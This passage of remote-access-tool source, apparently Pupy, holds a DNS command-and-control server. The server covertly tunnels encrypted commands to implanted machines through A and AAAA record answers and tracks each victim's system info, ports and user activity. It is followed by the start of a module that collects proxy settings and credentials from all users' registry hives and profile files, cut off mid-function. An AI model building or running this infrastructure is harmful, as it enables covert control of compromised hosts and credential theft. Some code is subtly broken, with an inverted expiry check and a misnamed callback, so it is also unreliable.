        self._warning_set_time = None

    @property
    def warning(self):
        if not self._warning:
            return None

        if time.time() < self._warning_set_time + self.timeout:
            self._warning = None
            return None

        return self._warning

    @warning.setter
    def warning(self, warning):
        self._warning = warning
        self._warning_set_time = time.time()

    def add_command(self, command):
        if not self.commands:
            self.commands = [command]
        else:
            self.commands.append(command)

    def __repr__(self):
        return \
            '{{NODE:{:012X} IID:{} CID:{:08X} ALERT:{} COMMANDS:{}}}'.format(
                self.node, self.iid, self.cid, self.alert, len(self.commands)
            )


class Session(ExpirableObject):

    __slots__ = (
        'spi', 'node', 'cid',
        'system_info', 'system_status', 'online_status',
        'open_ports', 'egress_ports', 'commands',
        'last_nonce', 'last_qname', 'pstore_dirty', 'connected',
        'system_info_version', 'registered_hosts',
        'cache', '_encoder',
        '_pstore_dirty_reported', '_users_cnt_reported',
        '_high_resource_usage_reported', '_user_active_reported'
    )

    def __init__(self, node, cid, spi, encoder, commands, timeout):
        super(Session, self).__init__(timeout)

        self._encoder = encoder

        self.node = node
        self.cid = cid
        self.spi = spi
        self.system_info_version = None
        self.system_info = None
        self.system_status = None
        self.online_status = None
        self.open_ports = {}
        self.egress_ports = set()
        self.commands = commands
        self.last_nonce = None
        self.last_qname = None
        self.pstore_dirty = False
        self.connected = False
        self.cache = {}
        self.registered_hosts = AddressTable()

        self._pstore_dirty_reported = False
        self._users_cnt_reported = None
        self._high_resource_usage_reported = False
        self._user_active_reported = None

    @property
    def encoder(self):
        return self._encoder

    def add_command(self, command):
        if not self.commands:
            self.commands = [command]
        else:
            self.commands.append(command)

    def __repr__(self):
        return '{{SESSION {:08x} {}}}'.format(
            self.spi, self.system_info or ''
        )


class DnsNoCommandServerException(Exception):
    pass


class DnsPingRequest(Exception):
    pass


class DnsActivationRequest(Exception):
    pass


class DnsCommandServerException(Exception):

    __slots__ = ('message', 'nonce', 'version', 'domain')

    def __init__(self, message, nonce, version, domain):
        self.message = message
        self.nonce = nonce
        self.version = version
        self.domain = domain

    @property
    def error(self):
        return Error(self.message)

    def __str__(self):
        return '{}: (d={} v={} n={})'.format(
            self.message, self.nonce, self.version, self.domain)

    def __repr__(self):
        return repr(self.error)


def activator(activation, key):
    def _activator(seed):
        parts = struct.unpack(
            'BBBB', hashlib.md5(
                seed + activation[seed] + key).digest()[:4]
        )
        return '.'.join(str(part) for part in parts)

    return _activator


class DnsCommandServerHandler(BaseResolver):
    ENCODER_V1 = 0
    ENCODER_V2 = 1

    def __init__(
        self, domain, key, recursor=None, timeout=None,
            whitelist=None, edns=False, activation={}):

        self.sessions = {}
        self.nodes = {}
        self.domain = domain
        self.recursor = recursor
        self.encoders = (
            ECPV(private_key=key[0]),
            ECPV(private_key=key[1], curve='brainpoolP224r1')
        )
        self.translation = dict(zip(
            ''.join([
                string.ascii_lowercase,
                '-',
                string.digits
            ]).encode('ascii'),
            ''.join([
                string.ascii_uppercase,
                string.digits,
                '=',
            ]).encode('ascii')
        ))

        self.interval = 30
        self.kex = True
        self.timeout = timeout or self.interval*3
        self.commands = []
        self.node_commands = {}
        self.lock = RLock()
        self.finished = Event()
        self.whitelist = whitelist
        self.edns = edns
        self.activation = activation
        self.activator = activator(activation, key[0])

    def max_payload_len(self, query_len, record_len):
        # Calculate max packet size

        # https://tools.ietf.org/html/rfc791
        #  All hosts must be prepared to accept datagrams of up to 576
        # octets (whether they arrive whole or in fragments).  It is
        # recommended that hosts only send datagrams larger than 576 octets
        # if they have assurance that the destination is prepared to
        # accept the larger datagrams.

        # https://dnsflagday.net/
        # Default expected UDP DNS payload size = 512B
        # EDNS Record size = 11B
        # Query header size = len(domain) + 2 + 4
        # Answer header size = 2 {if name = .} + 10 + len(record)

        # Default length limited to 256B to spend only 1 byte for info about
        # the length.
        # Each payload has index field
        # As request is dynamic, we don't count it here, but in encoder

        # Efficiency:
        # A Records ~ 15%
        # AAAA Records ~ 45%

        domain_len = 1 + len(self.domain) + query_len + 1
        query_header_len = 4 + domain_len
        edns_len = 11

        dns_packet_room = 512 - (query_header_len + edns_len)

        answer_len = 2 + 10 + record_len

        max_records = dns_packet_room // answer_len
        max_size = max_records * (record_len - 1)

        packet_length_len = 1

        return max_size - packet_length_len

    def cleanup(self):
        while not self.finished.is_set():
            with self.lock:
                to_remove = []

                for spi, session in self.sessions.items():
                    if session.expired:
                        to_remove.append(spi)

                for spi in to_remove:
                    self.on_session_cleaned_up(self.sessions[spi])
                    del self.sessions[spi]

                to_remove = []

                for key, node in self.nodes.items():
                    if node.expired:
                        to_remove.append(key)

                for key in to_remove:
                    del self.nodes[key]

                self.cache = {}

            time.sleep(self.timeout)

    def locked(f):
        @functools.wraps(f)
        def wrapped(self, *args, **kwargs):
            with self.lock:
                return f(self, *args, **kwargs)
        return wrapped

    def _nodes_by_nodeids(self, ids):
        return [
            node for (nodeid, iid), node in self.nodes.items()
            if nodeid in ids
        ]

    def _sessions_by_nodeids(self, ids):
        return [
            session for session in self.sessions
            if self.sessions[session].node in ids
        ]

    def _nodeids_with_sessions(self, ids):
        return set([
            session.node for session in self.sessions
            if self.sessions[session].node in ids
        ])

    @locked
    def add_command(self, command, session=None, default=False):
        if not isinstance(command, SessionDependedCommand):
            command = SessionDependedCommand(command)

        if default and session:
            nodes = session

            if is_str(nodes):
                nodes = [convert_node(x) for x in nodes.split(',')]
            elif is_int(nodes):
                nodes = [nodes]

            idx = 0

            nodes_with_sessions = self._nodeids_with_sessions(nodes)

            for node in self._nodes_by_nodeids(nodes):
                if node.node in nodes_with_sessions:
                    continue

                node.add_command(command.default)

            for nodeid in nodes:
                if nodeid not in self.node_commands:
                    self.node_commands[nodeid] = []

                self.node_commands[nodeid].append(command.default)
                idx += 1

            return idx

        if default:
            self.commands.append(command.default)

        if session:
            sessions = self.find_sessions(spi=session) or \
              self.find_sessions(node=session)

            if not sessions:
                return 0

            count = 0
            if type(sessions) in (list, tuple):
                for session in sessions:
                    command.add_to_session(session)
                    count += 1
            else:
                count = 1
                command.add_to_session(sessions)

            return count
        else:
            count = 0
            for session in self.find_sessions():
                command.add_to_session(session)
                count += 1

            return count

    @locked
    def reset_commands(self, session=None, default=False):
        if default and session:
            nodes = session
            if is_str(nodes):
                nodes = [convert_node(x) for x in nodes.split(',')]
            elif is_int(nodes):
                nodes = [nodes]

            idx = 0
            for node in self._nodes_by_nodeids(nodes):
                self.commands = []

            for nodeid in nodes:
                if nodeid in self.node_commands:
                    del self.node_commands[nodeid]
                    idx += 1

            return idx

        if default:
            self.commands = []

        if session:
            sessions = self.find_sessions(spi=session) or \
              self.find_sessions(node=session)

            if not sessions:
                return 0

            count = 0
            if type(sessions) in (list, tuple):
                for session in sessions:
                    session.commands = []
                    count += 1
            else:
                count = 1
                sessions.commands = []

            return count
        else:
            count = 0
            for session in self.find_sessions():
                if session.commands:
                    session.commands = []
                    count += 1
            return count

    @locked
    def find_nodes(self, node):
        if node is None:
            return self.nodes.values()

        if is_str(node):
            node = [convert_node(x) for x in node.split(',')]
        elif is_int(node):
            node = [node]

        return self._nodes_by_nodeids(node)

    @locked
    def find_sessions(self, spi=None, node=None):
        if spi:
            if is_str(spi):
                spi = [int(x, 16) for x in spi.split(',')]
            elif is_int(spi):
                spi = [spi]

        if node:
            if is_str(node):
                node = [convert_node(x) for x in node.split(',')]
            elif is_int(node):
                node = [node]

        if not (spi or node):
            return [
                session for session in self.sessions.values()
                if session.system_info is not None
            ]
        elif spi:
            return [
                self.sessions[x] for x in spi if x in self.sessions
            ]
        elif node:
            return [
                session for session in self.sessions.values()
                if session.cid == node or session.node == node or (
                    session.system_info and (
                        session.system_info['node'] in set(node) or
                        str(session.system_info['external_ip']) in set(node)
                    )
                )
            ]

    @locked
    def set_policy(self, kex=True, timeout=None, interval=None, node=None):
        if kex == self.kex and self.timeout == timeout and \
                self.interval == self.interval:
            return

        if interval and interval < 30:
            raise ValueError(
                'Interval should not be less then 30s to avoid DNS storm'
            )

        if node and (interval or timeout):
            sessions = self.find_sessions(
                spi=node) or self.find_sessions(node=node)

            if sessions:
                for session in sessions:
                    if interval:
                        session.timeout = (interval*3)
                    else:
                        interval = self.interval

                    if timeout:
                        session.timeout = timeout

                    if kex is None:
                        kex = self.kex

        else:
            self.interval = interval or self.interval
            self.timeout = max(
                timeout if timeout else self.timeout,
                self.interval*3
            )
            self.kex = kex if (kex is not None) else self.kex

            interval = self.interval
            timeout = self.timeout
            kex = self.kex

        cmd = Policy(interval, kex)
        return self.add_command(cmd, session=node)

    @locked
    def encode_pastelink_content(self, content, version=ENCODER_V2):
        h = hashlib.sha1()
        h.update(content)

        content = h.digest() + content
        content = zlib.compress(content, 9)
        content = self.encoders[version].pack(content)
        content = ascii85.ascii85EncodeDG(content)

        return content

    def on_custom_event(self, eventid, session, node):
        pass

    def on_connect(self, info):
        pass

    def on_keep_alive(self, info):
        pass

    def on_exit(self, info):
        pass

    def on_new_session(self, session):
        pass

    def on_session_cleaned_up(self, session):
        pass

    def on_online_status(self, session):
        pass

    def on_egress_ports(self, session):
        pass

    def on_pstore(self, session):
        pass

    def on_user_become_active(self, session):
        pass

    def on_user_become_inactive(self, session):
        pass

    def on_users_increment(self, session):
        pass

    def on_users_decrement(self, session):
        pass

    def on_hight_resource_usage(self, session):
        pass

    def encoder_from_session(self, session, version):
        if session:
            return session.encoder
        elif version == 1:
            return self.encoders[self.ENCODER_V1]
        elif version == 2:
            return self.encoders[self.ENCODER_V2]

        raise ValueError('Unsupported version {}'.format(version))

    def csum_from_session(self, session, version):
        if version == 1:
            return None, None

        encoder = self.encoder_from_session(session, version)
        return encoder.gen_csum, encoder.check_csum

    def _a_page_encoder(self, data, encoder, nonce, qname):
        data = encoder.encode(data, nonce, symmetric=encoder.kex_completed)

        qname_len = len(qname)

        length = struct.pack('B', len(data))
        payload = length + data

        max_payload_len = self.max_payload_len(qname_len, 4)

        if len(payload) > max_payload_len:
            raise PayloadTooBig(
                'Page size more than {max_len} bytes ({required_len})',
                len(payload), max_payload_len)

        response = []

        for idx, part in enumerate([
                payload[i:i+3] for i in xrange(0, len(payload), 3)]):
            header = (random.randint(1, 3) << 30)
            idx = idx << 25
            bits = (struct.unpack('>I', b'\x00'+part+as_byte(
                random.randrange(0, 255))*(3-len(part)))[0]) << 1

            response.append(
                '{}.{}.{}.{}'.format(
                    *struct.unpack(
                        '!BBBB', struct.pack(
                            '>I',
                            header | idx | bits | int(not bool(bits & 6))
                        )
                    )
                )
            )

        return response

    def _aaaa_page_encoder(self, data, encoder, nonce, qname):
        data = encoder.encode(data, nonce, symmetric=encoder.kex_completed)

        qname_len = len(qname)

        max_payload_len = self.max_payload_len(qname_len, 4)

        if len(data) > 0xFF:
            raise PayloadTooBig(
                'Payload size more than {max_len} bytes ({required_len})',
                len(data), 0xFF)

        length = struct.pack('B', len(data))
        payload = length + data

        if len(payload) > max_payload_len:
            raise PayloadTooBig(
                'Page size more than {max_len} bytes ({required_len})',
                len(payload), max_payload_len)

        response = []

        for idx, part in enumerate([
                payload[i:i+15] for i in xrange(0, len(payload), 15)]):
            packed = struct.pack('B', idx) + part
            if len(packed) < 16:
                packed = packed + b'\x00' * (16 - len(packed))
            addr = ':'.join([
                packed[i:i+2].encode('hex') for i in xrange(0, len(packed), 2)
            ])
            response.append(addr)

        return response

    def _q_page_decoder(self, data):
        domain = None
        parts = []

        if data:
            domain = data
            parts = data.split('.')

        if len(parts) == 0:
            raise DnsPingRequest(1)
        elif '_' in data:
            raise DnsNoCommandServerException()
        elif len(parts) == 1 and parts[0].startswith('ping'):
            if len(parts[0]) == 4:
                raise DnsPingRequest(15)
            else:
                raise DnsPingRequest(int(parts[0][4:]))
        elif len(parts) == 1 and parts[0] in self.activation:
            raise DnsActivationRequest(self.activator(parts[0]))

        elif len(parts) not in (2, 3):
            raise DnsNoCommandServerException()

        parts = [
            base64.b32decode(b''.join(
                self.translation[x] for x in part
            )) for part in parts
        ]

        node_blob = ''
        nodeid = None
        cid = None
        iid = None
        spi = 0
        nonce = 0
        version = 1
        encoder_version = self.ENCODER_V1

        if len(parts) == 2:
            nonce_blob, data = parts
            nonce, = struct.unpack_from('>I', nonce_blob)

            if len(nonce_blob) > 4:
                node_blob = nonce_blob[4:]
                encoder_version = self.ENCODER_V2
                version = 2

            encoder = self.encoders[encoder_version]
            session = None

        elif len(parts) == 3:
            spi, nonce_blob, data = parts
            spi, = struct.unpack('>I', spi)
            nonce, = struct.unpack_from('>I', nonce_blob)

            if len(nonce_blob) > 4:
                node_blob = nonce_blob[4:]
                encoder_version = self.ENCODER_V2
                version = 2

            session = None
            with self.lock:
                if spi not in self.sessions:
                    raise DnsCommandServerException(
                        'NO_SESSION', nonce, version, data)

                session = self.sessions[spi]
                encoder = session.encoder

        try:
            payload = encoder.decode(data+node_blob, nonce, symmetric=True)
        except (ParcelInvalidPayload, ParcelInvalidCrc) as e:
            raise DnsCommandServerException(
                e.error, nonce, version, domain)

        if node_blob:
            offset_node_blob = len(payload) - (1+4+2+6)
            payload = payload[:offset_node_blob]
            node_blob = payload[offset_node_blob:]

            version, cid, iid = struct.unpack_from('>BIH', node_blob)

            if version != 2:
                raise UnknownVersion('Version: {}'.format(version))

            nodeid = from_bytes(node_blob[1+4+2:1+4+2+6])

        logger.debug(
            'NONCE: %08x SPI: %08x NODE: %012x',
            nonce, spi, nodeid if bool(node_blob) else 0
        )

        return payload, session, nonce, nodeid, cid, iid, version

    def _new_node_from_session(self, session):
        if not session.system_info:
            return

        nodeid = session.system_info['node']
        extip = str(session.system_info['external_ip'])

        node = Node(
            nodeid, self.timeout,
            commands=self.node_commands.get(nodeid),
            iid=session.spi
        )

        self.nodes[(nodeid, session.spi)] = node

        for command in self.node_commands.get(extip, []):
            node.add_command(command)

        return node

    def _new_node_from_systeminfo(self, command, sid=None):
        nodeid = command.node
        extip = str(command.external_ip)

        node = Node(
            command.node, self.timeout,
            commands=self.node_commands.get(nodeid),
            iid=sid or 0
        )

        self.nodes[(nodeid, sid or 0)] = node

        for command in self.node_commands.get(extip, []):
            node.add_command(command)

        return node

    def _cmd_processor(self, command, session, node, csum_gen, csum_check):
        logger.debug(
            'command=%s/%s session=%s / node commands=%s '
            '/ node = %s / cid = %s / iid = %s',
            command, type(command).__name__,
            '{:08x}'.format(session.spi) if session else None,
            bool(self.node_commands),
            '{:012x}'.format(node.node) if node else None,
            '{:08x}'.format(node.cid) if node else None,
            node.iid if node else None
        )

        if isinstance(command, Poll) and session is None:
            if not self.kex or self._kex_is_disabled(node):
                if node:
                    return node.commands or [
                        Policy(self.interval, False)
                    ]

                elif self.commands:
                    return self.commands

            return [Policy(self.interval, self.kex), Poll()]

        elif isinstance(command, Ack) and (session is None):
            if node:
                if len(node.commands) < command.amount:
                    logger.debug(
                        'ACK: invalid amount of commands: %d > %d',
                        command.amount, len(node.commands)
                    )

                node.commands = node.commands[command.amount:]

            return [Ack(1)]

        elif isinstance(command, Exit):
            if session and session.system_info:
                self.on_exit(session.system_info)

            with self.lock:
                del self.sessions[session.spi]

            return [Exit()]

        elif (isinstance(command, Poll) or
                isinstance(command, SystemStatus)) and (session is not None):
            if session.system_info:
                self.on_keep_alive(session.system_info)

            if isinstance(command, SystemStatus):
                session.system_status = command.get_dict()

                if session._users_cnt_reported is not None and \
                        session._users_cnt_reported != session.system_status['users']:
                    if session._users_cnt_reported > session.system_status['users']:
                        self.on_users_decrement(session)
                    else:
                        self.on_users_increment(session)

                session._users_cnt_reported = session.system_status['users']

                if session.system_status['mem'] > 90 or session.system_status['cpu'] > 90:
                    if not session._high_resource_usage_reported:
                        self.on_high_resource_usage(session)
                        session._high_resource_usage_reported = True
                else:
                    session._high_resource_usage_reported = False

                if session._user_active_reported is not None and \
                        session._user_active_reported != session.system_status['idle']:
                    if session.system_status['idle']:
                        self.on_user_become_inactive(session)
                    else:
                        self.on_user_become_active(session)

                session._user_active_reported = session.system_status['idle']

            commands = session.commands

            if not session.system_info:
                commands = list(commands)
                commands.append(Poll())

            return commands

        elif isinstance(command, SystemInfo) and not session:
            extip = str(command.external_ip)

            if not node:
                with self.lock:
                    if not (command.node, 0) in self.nodes:
                        node = self._new_node_from_systeminfo(command)
                    else:
                        node = self.nodes[(command.node, 0)]

                    node.bump()

            logger.debug(
                'SystemStatus + No session + node_commands: %s/%s in %s?',
                node, extip, node.commands
            )

            return node.commands

        elif isinstance(command, OnlineStatus) and session is not None:
            session.online_status = command.get_dict()
            self.on_online_status(session)

        elif isinstance(command, ConnectablePort) and session is not None:
            if command.ip not in session.open_ports:
                session.open_ports[command.ip] = set()

            for port in command.ports:
                session.open_ports[command.ip].add(port)

        elif isinstance(command, PortQuizPort) and session is not None:
            for port in command.ports:
                session.egress_ports.add(port)

            self.on_egress_ports(session)

        elif isinstance(command, PupyState) and session is not None:
            session.pstore_dirty = command.pstore_dirty
            session.connected = command.connected

            if session.pstore_dirty and not session._pstore_dirty_reported:
                session._pstore_dirty_reported = True
                self.on_pstore(session)
            elif not session.pstore_dirty:
                session._pstore_dirty_reported = False

        elif isinstance(command, Ack) and (session is not None):
            if session.system_info:
                self.on_keep_alive(session.system_info)

            if command.amount > len(session.commands):
                logger.debug(
                    'ACK: invalid amount of commands: %d > %d',
                    command.amount, len(session.commands)
                )
            session.commands = session.commands[command.amount:]

            return [Ack(1)]

        elif isinstance(command, (SystemInfo, SystemInfoEx)) \
                and session is not None:
            new_session = not bool(session.system_info)
            session.system_info = command.get_dict()
            if isinstance(command, SystemInfoEx):
                session.system_info_version = command.version

            if not node:
                with self.lock:
                    if not (command.node, session.spi) in self.nodes:
                        node = self._new_node_from_systeminfo(
                            command, session.spi
                        )
                    else:
                        node = self.nodes[(command.node, session.spi)]

                    node.bump()

                    commands = node.commands or [Ack(1)]

            if new_session:
                self.on_new_session(session)

        elif isinstance(command, Kex):
            with self.lock:
                response = []

                encoder_version = \
                    self.ENCODER_V1 if not node or node.version == 1 \
                    else self.ENCODER_V2

                if command.spi not in self.sessions:
                    self.sessions[command.spi] = Session(
                        node.node if node else None,
                        node.cid if node else None,
                        command.spi,
                        self.encoders[encoder_version].clone(),
                        self.commands,
                        self.timeout
                    )

                session = self.sessions[command.spi]

                encoder = session.encoder
                response, key = encoder.process_kex_request(command.parcel)
                logger.debug('kex:key=%s', binascii.b2a_hex(key[0]))

            return [Kex(response)]
        elif isinstance(command, CustomEvent):
            logger.debug('custom event: %08x', command.eventid)
            self.on_custom_event(command.eventid, session, node)
        elif isinstance(command, PortQuizPort):
            logger.debug('portquiz: %s', command)
        elif isinstance(command, ConnectablePort):
            logger.debug('connectable: %s', command)
        elif isinstance(command, OnlineStatus):
            logger.debug('online-status: %s', command)
        elif isinstance(command, PupyState):
            logger.debug('pupy-state')
        else:
            return [Error('NO_POLICY')]

        return [Ack()]

    def resolve(self, request, handler):
        if request.q.qtype not in SUPPORTED_METHODS:
            reply = request.reply()
            reply.header.rcode = RCODE.NXDOMAIN
            logger.debug(
                'Request unknown qtype: %s', QTYPE.get(request.q.qtype)
            )
            return reply

        with self.lock:
            data = request.q.qname
            qtype = request.q.qtype
            part = data.stripSuffix(self.domain).idna()[:-1]
            key = (part, qtype)
            if key in self.cache:
                response = self.cache[key]
                response.header.id = request.header.id
                return response

            response = self._resolve(request, handler)
            self.cache[key] = response
            return response

    def process(self, qtype, qname):
        responses = []

        session = None
        nonce = None
        node = None

        version = 1

        page_encoder = None
        if qtype == QTYPE.A:
            page_encoder = self._a_page_encoder
        elif qtype == QTYPE.AAAA:
            page_encoder = self._aaaa_page_encoder
        else:
            raise NotImplementedError(qtype)

        try:
            request, session, nonce, nodeid, cid, iid, version = \
              self._q_page_decoder(qname)

            with self.lock:
                if nodeid:
                    if not (nodeid, iid) in self.nodes:
                        self.nodes[(nodeid, iid)] = Node(
                            nodeid, self.timeout,
                            cid, iid, version, self.node_commands.get(nodeid),
                        )

                    node = self.nodes[(nodeid, iid)]
                    node.bump()

                if session and not node:
                    if not (session.node, session.spi) in self.nodes:
                        node = self._new_node_from_session(session)
                    else:
                        node = self.nodes[(session.node, session.spi)]

                if node:
                    node.bump()

            if self.whitelist and node:
                if not self.whitelist(nodeid, cid, version):
                    blocks_logger.warning(
                        'Prohibit communication with %s/%s version %s on %s',
                        iid, cid, version, nodeid
                    )

                    node.alert = True
                    raise NodeBlocked()

            if session and session.last_nonce and session.last_qname:
                if nonce < session.last_nonce:
                    logger.info(
                        'Ignore nonce from past: %s < %s / %s',
                        nonce, session.last_nonce, session.node
                    )

                    if node:
                        node.warning = 'Nonce from the past ({} < {})'.format(
                            nonce, session.last_nonce)

                    return []
                elif session.last_nonce == nonce and \
                        session.last_qname != qname:
                    logger.info(
                        'Last nonce but different qname: %s != %s',
                        session.last_qname, qname
                    )

                    if node:
                        node.warning = 'Different qname ({})'.format(qname)
                    return []

                session.bump()

            if node:
                node.alert = False

            gen_csum, check_csum = self.csum_from_session(session, version)

            try:
                commands = Parcel.unpack(request, nonce, check_csum)
            except ParcelInvalidCrc:
                logger.info('Invalid Parcel CRC (qname=%s, version=%s)',
                            qname, version)
                return None

            for command in commands:
                for response in self._cmd_processor(
                        command, session, node, check_csum, gen_csum):
                    responses.append(response)

            if session:
                session.last_nonce = nonce
                session.last_qname = qname

        except DnsCommandServerException as e:
            nonce = e.nonce
            version = e.version
            responses = [e.error, Policy(self.interval, self.kex), Poll()]
            emsg = 'Server Error: {} (v={})'.format(e, version)
            logger.debug(emsg)
            if node:
                node.warning = emsg

        except DnsNoCommandServerException:
            emsg = 'No CNC Exception'
            logger.debug(emsg)

            if node:
                node.warning = emsg

            return None

        except DnsActivationRequest as e:
            logger.warning('Activation request: %s', qname)
            return [e.args[0]]

        except DnsPingRequest as e:
            replies = []
            for i in xrange(e.args[0]):
                x = (i % 65535) >> 8
                y = i % 255
                template = '127.0.{}.{}'
                if qtype == QTYPE.AAAA:
                    template = '::{}:{}'
                replies.append(template.format(x, y+1))

            logger.debug('ping request:%s', i)
            return replies

        except NodeBlocked:
            return None

        except TypeError as e:
            # Usually - invalid padding
            emsg = None

            if str(e) == 'Incorrect padding':
                emsg = 'Decoding failed: qname={}'.format(qname)
                logger.warning(emsg)
            else:
                emsg = str(e)
                logger.exception(e)

            if node:
                node.warning = emsg

            return None

        except UnknownVersion:
            return None

        except Exception as e:
            logger.exception(e)

            if node:
                node.warning = str(e)

            return None

        if not responses:
            responses = [Ack()]

        logger.debug(
            'responses=%s session=%s',
            responses,
            '{:08x}'.format(session.spi) if session else None
        )

        encoder = self.encoder_from_session(session, version)
        gen_csum = encoder.gen_csum if version > 1 else None
        total = len(responses)

        for postpone in xrange(total):
            to_send = responses[:total-postpone]

            try:
                payload = Parcel(to_send).pack(nonce, gen_csum)
            except PackError as e:
                emsg = 'Could not create parcel from commands: ' \
                    '{} (session={})'.format(
                        e, '{:08x}'.format(session.spi) if session else None
                    )

                logger.error(emsg)

                if node:
                    node.warning = emsg

                return None

            try:

                encoded = page_encoder(payload, encoder, nonce, qname)
                if postpone:
                    logger.debug('Postponed %d commands', postpone)

                return encoded

            except PayloadTooBig as e:
                if session is None and node is None:
                    break

        raise PackError('Unable to pack payload')

    def _kex_is_disabled(self, node):
        return False

    def _resolve(self, request, handler):
        qname = request.q.qname
        qtype = request.q.qtype
        reply = request.reply()

        # TODO:
        # Resolve NS?, DS, SOA somehow
        if not qname.matchSuffix(self.domain):
            if self.recursor:
                try:
                    return DNSRecord.parse(
                        request.send(self.recursor, timeout=2)
                    )
                except socket.error:
                    pass
                except Exception as e:
                    logger.exception('DNS request forwarding failed (%s)', e)
            else:
                logger.debug('Bad domain: %s (suffix=%s)', qname, self.domain)

            reply.header.rcode = RCODE.NXDOMAIN
            return reply

        answers = self.process(
            qtype, qname.stripSuffix(self.domain).idna()[:-1]
        )

        klass = SUPPORTED_METHODS[qtype]

        if answers:
            for answer in answers:
                reply.add_answer(
                    RR(qname, qtype, rdata=klass(answer), ttl=600)
                )

            if self.edns:
                reply.add_ar(EDNS0(udp_len=512))
        else:
            reply.header.rcode = RCODE.NXDOMAIN

        return reply


class DnsCommandServer(object):
    def __init__(self, handler, port=5454, address='0.0.0.0'):
        self.handler = handler

        self.udp_server = socketserver.UDPServer((address, port), DNSHandler)
        self.udp_server.allow_reuse_address = True
        self.udp_server.resolver = handler
        self.udp_server.logger = DNSLogger(log='log_error', prefix=False)

        self.tcp_server = socketserver.TCPServer((address, port), DNSHandler)
        self.tcp_server.allow_reuse_address = True
        self.tcp_server.resolver = handler
        self.tcp_server.logger = DNSLogger(log='log_error', prefix=False)

        self.udp_server_thread = Thread(
            target=self.udp_server.serve_forever, kwargs={
                'poll_interval': 50000
            })

        self.udp_server_thread.daemon = True

        self.tcp_server_thread = Thread(
            target=self.tcp_server.serve_forever, kwargs={
                'poll_interval': 50000
            })

        self.tcp_server_thread.daemon = True

        self.cleaner = Thread(target=handler.cleanup)
        self.cleaner.daemon = True

    def start(self):
        self.cleaner.start()
        self.tcp_server_thread.start()
        self.udp_server_thread.start()

    def stop(self):
        self.tcp_server.server_close()
        self.udp_server.server_close()


================================================
FILE: pupy/network/lib/proxies.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'get_proxies', 'find_default_proxy',
    'get_proxy_for_address', 'set_proxy_unavailable',
    'has_wpad', 'parse_proxy', 'find_proxies',
    'find_proxies_for_transport', 'ProxyInfo',
    'connect_client_with_proxy_info',
    'CHECK_CONNECTIVITY_URL'
)


import re
import os
import time

from io import open
from collections import namedtuple

from . import getLogger
from . import Proxy

from .clients import PupyTCPClient, PupySSLClient
from .clients import PupyProxifiedTCPClient, PupyProxifiedSSLClient

from .netcreds import find_first_cred

logger = getLogger('proxies')

PROXY_RE = r'(?:(?P<schema>[a-z45]+)://)?(?:(?P<user>\w+):?(?P<password>\w*)@)?(?P<proxy_addr>\S+:[0-9]+)/*'

PROXY_MATCHER = re.compile(
    r'^{}$'.format(PROXY_RE)
)

PROXY_ENV = [
    'http_proxy', 'https_proxy', 'rsync_proxy', 'all_proxy',
    'rvm_proxy'
]

PROXY_ENV += [
    x.upper() for x in PROXY_ENV
]

PROFILE_MATCHER = re.compile(
    r'(?:{})(?:(?:\s*=\s*)|\s+)[\'\"]?{}?[\'\"]?.*'.format(
        '|'.join(
            PROXY_ENV + [
                'Acquire::http::Proxy'
            ]
        ),
        PROXY_RE
    )
)

LAST_PROXY = None
LAST_PROXY_TIME = None

LAST_WPAD = None
LAST_WPAD_TIME = None

CHECK_CONNECTIVITY_URL = 'http://connectivitycheck.gstatic.com/generate_204'

gio = None

ProxyInfo = namedtuple(
    'ProxyArgs', [
        'client', 'client_args', 'transport_args',
        'host', 'port', 'chain'
    ])


try:
    from urllib import request as urllib
except ImportError:
    import urllib2 as urllib


def parse_win_proxy(val):
    proxies=[]

    for p in val.split(';'):
        if '=' in p:
            tab=p.split('=',1)
            if tab[0]=='socks':
                tab[0]='SOCKS4'
            proxies.append(
                Proxy(tab[0].upper(), tab[1], None, None))
        else:
            proxies.append(
                Proxy('HTTP', p, None, None))

    return proxies


def get_win_proxies():
    try:
        from _winreg import EnumKey, OpenKey, CloseKey, QueryValueEx
        from _winreg import HKEY_USERS, KEY_QUERY_VALUE
    except:
        return

    duplicates = set()

    i = 0
    while True:
        try:
            user = EnumKey(HKEY_USERS, i)
            i += 1
        except:
            break

        if user.endswith('_classes'):
            continue

        aKey = None
        try:
            key = '{}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings'.format(user)
            aKey = OpenKey(HKEY_USERS, key, 0, KEY_QUERY_VALUE)
            value = QueryValueEx(aKey, 'ProxyServer')[0]
            if value:
                for p in parse_win_proxy(value):
                    if p not in duplicates:
                        logger.debug('Proxy found via Internet Settings: %s', p)
                        yield p
                        duplicates.add(p)
        except Exception:
            pass

        finally:
            if aKey:
                CloseKey(aKey)


def get_python_proxies():
    python_proxies = urllib.getproxies()

    for key, value in python_proxies.items():
        if not (key.upper() in ('HTTP', 'HTTPS', 'SOCKS') and value):
            continue

        _, user, passwd, proxy = PROXY_MATCHER.match(value).groups()

        if key.upper() == 'SOCKS':
            key = 'SOCKS4'
        elif key.upper() == 'HTTPS':
            key = 'HTTP'

        logger.debug(
            '%s proxy found via standard python API: %s user=%s passwd=%s',
            key, proxy, user, passwd)

        yield Proxy(key.upper(), proxy, user, passwd)


def _normalize_env_proxies(schema, user, passwd, proxy):
    if not schema:
        yield Proxy('HTTP', proxy, user, passwd)
        yield Proxy('SOCKS5', proxy, user, passwd)
        yield Proxy('SOCKS4', proxy, user, passwd)
    elif schema.lower().startswith('http'):
        yield Proxy('HTTP', proxy, user, passwd)
    elif schema.lower() == 'socks4':
        yield Proxy('SOCKS4', proxy, user, passwd)
    elif schema.lower() == 'socks5':
        yield Proxy('SOCKS5', proxy, user, passwd)
    elif schema.lower().startswith('socks'):
        yield Proxy('SOCKS5', proxy, user, passwd)
        yield Proxy('SOCKS4', proxy, user, passwd)


def parse_env_proxies(var):
    match = PROXY_MATCHER.match(var)
    if not match:
        return

    schema, user, passwd, proxy = match.groups()
    for proxy in _normalize_env_proxies(schema, user, passwd, proxy):
        yield proxy


def get_env_proxies():
    for env in PROXY_ENV:
        var = os.environ.get(env)
        if not var:
            continue

        for proxy in parse_env_proxies(var):
            yield proxy


def _try_read(path):
    try:
        return open(path).read()
    except (OSError, IOError):
        return None


def _get_profile_files_content():
    try:
        profile_d = os.listdir('/etc/profile.d')
    except OSError:
        profile_d = []

    for profile_file in profile_d:
        content = _try_read(
            os.path.join('/etc/profile.d', profile_file))
        if content:
            yield content

    content = _try_read('/etc/profile')
    if content:
        yield content

    try:
